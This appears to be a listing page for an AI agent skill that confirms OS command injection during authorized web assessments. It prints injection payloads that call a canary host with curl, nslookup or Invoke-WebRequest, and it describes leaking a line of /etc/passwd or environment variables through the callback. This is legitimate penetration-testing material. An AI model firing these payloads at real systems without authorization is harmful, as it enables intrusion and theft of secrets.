command-injection-rce

Confirms OS command injection by proving remote code execution via OAST callbacks.

1.1k|155|Updated Mar 8, 2026
One-click install
npx skills add https://github.com/vigolium/vigolium --skill command-injection-rce
Or copy as Structured Prompt for Agent
Please help me install this Agent Skill.
Skill: command-injection-rce
Source: https://github.com/vigolium/vigolium/tree/main/internal/resources/olium/skills/command-injection-rce
Command: npx skills add https://github.com/vigolium/vigolium --skill command-injection-rce

SYSTEM DOCUMENTATION & REQUIREMENTS

What problem does it solve?

Suspected command injection findings based on response differences or timing delays are inconclusive and often disputed. This Skill turns a suspected OS command injection into verified proof of remote code execution by triggering an out-of-band (OAST) callback from the target server, then captures one minimal follow-on demonstration of impact.

Core Features & Use Cases

  • Behavioral Confirmation: Sends baseline and metacharacter probes (;, &&, |, backticks, $()) to detect response differentials indicating a parameter reaches a shell or exec call.
  • OAST-Based RCE Proof: Mints a canary and injects OS-appropriate payloads (sh/bash, cmd.exe, PowerShell) that trigger DNS or HTTP callbacks, treating even DNS-only callbacks as valid proof.
  • Safe Impact Demonstration: Performs one non-destructive follow-on action such as reading a line of /etc/passwd, dumping environment variables, or capturing hostname/user identity via the callback channel.
  • Structured Reporting: Files a critical-severity finding with CWE-78, the exact triggering payload, callback timestamp, and one masked line of leaked data.
  • Use Case: During an authorized web application assessment, a filter= parameter on an image-rendering endpoint responds differently to ;. The Skill confirms execution with a curl-based OAST callback, leaks one line of /etc/passwd as impact evidence, and reports a critical CWE-78 finding.

Quick Start

Verify whether the filter parameter on the /api/render endpoint is vulnerable to OS command injection and prove it with an OAST callback.

Frequently Asked Questions about command-injection-rce

High-intent search queries and answers about installing and using this skill.

FAQPage Schema
How do I confirm command injection with an OAST callback?

Inject a payload that makes the server issue a DNS or HTTP request to a canary you control, such as `value; curl <canary>` or `value$(nslookup <canary>)`. Poll the OAST service for up to 60 seconds; any callback, even DNS-only, proves code execution.

What is the difference between CWE-78 and CWE-77 command injection?

CWE-78 covers OS command injection where input reaches a system shell or exec call, while CWE-77 covers broader command injection into any interpreter. Both apply when parameters like cmd=, host=, or filter= feed process execution.

Is a response delay from a sleep payload proof of RCE?

No, a delay from `; sleep 5` is only suggestive because network jitter and rate limiters cause similar effects. Require an actual OAST DNS or HTTP callback before claiming remote code execution.

Does command injection testing work when outbound HTTP is blocked?

Yes, DNS-only callbacks still prove execution because most internal hosts can resolve external names even when HTTP egress is blocked. Sandboxed environments like gVisor may restrict egress, so note DNS-only proof explicitly in the finding.

What payloads work for Windows command injection testing?

For cmd.exe use a single ampersand such as `value & nslookup <canary>`, and for PowerShell use `value; Invoke-WebRequest <canary>`. Match the payload encoding to the parameter context, whether URL, JSON, or header.

What commands are safe to run when demonstrating command injection impact?

Limit demonstration to one read-only action such as reading a line of /etc/passwd, dumping environment variables, or capturing whoami and hostname output. Never run destructive commands, install packages, open reverse shells, or establish persistence.